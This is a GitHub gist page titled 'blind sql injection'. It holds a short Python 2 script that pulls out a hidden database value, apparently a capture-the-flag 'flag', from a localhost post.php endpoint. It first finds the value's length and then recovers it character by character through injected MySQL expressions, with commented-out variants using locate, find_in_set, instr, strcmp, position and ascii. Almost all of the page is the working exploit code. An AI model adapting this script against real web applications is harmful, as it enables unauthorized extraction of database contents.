Created
December 11, 2018 11:25
-
-
Save mokhdzanifaeq/d05c762e2973c9d42a589942276cf9a5 to your computer and use it in GitHub Desktop.
blind sql injection
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
tmp = '0x' | |
flag = '' | |
length = 1 | |
# get flag length | |
while True: | |
r = requests.get('http://localhost/post.php?id=length(@bounty)-{}'.format(length - 1)) | |
if '1337' in r.content: break | |
else : length += 1 | |
for pos in xrange(1, length + 1): | |
# range of printable char only | |
for i in xrange(32, 127): | |
# using locate() | |
r = requests.get('http://localhost/post.php?id=locate({}{:x},@bounty)'.format(tmp, i)) | |
# using find_in_set() | |
#r = requests.get('http://localhost/post.php?id=find_in_set(left(@bounty,{}),{}{:x})'.format(pos, tmp, i)) | |
# using instr() | |
#r = requests.get('http://localhost/post.php?id=instr(@bounty,{}{:x})'.format(tmp, i)) | |
# using strcmp() | |
#r = requests.get('http://localhost/post.php?id=strcmp(left(@bounty,{}),{}{:x})%2b1'.format(pos, tmp, i)) | |
# using position() | |
#r = requests.get('http://localhost/post.php?id=position(({}{:x})IN(@bounty))'.format(tmp, i)) | |
# using ascii() | |
#r = requests.get('http://localhost/post.php?id=ascii(right(reverse(@bounty),{}))-{}'.format(pos, i - 1)) | |
if '1337' in r.content: | |
tmp += '{:x}'.format(i) | |
flag += chr(i) | |
print flag | |
break | |
print flag |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment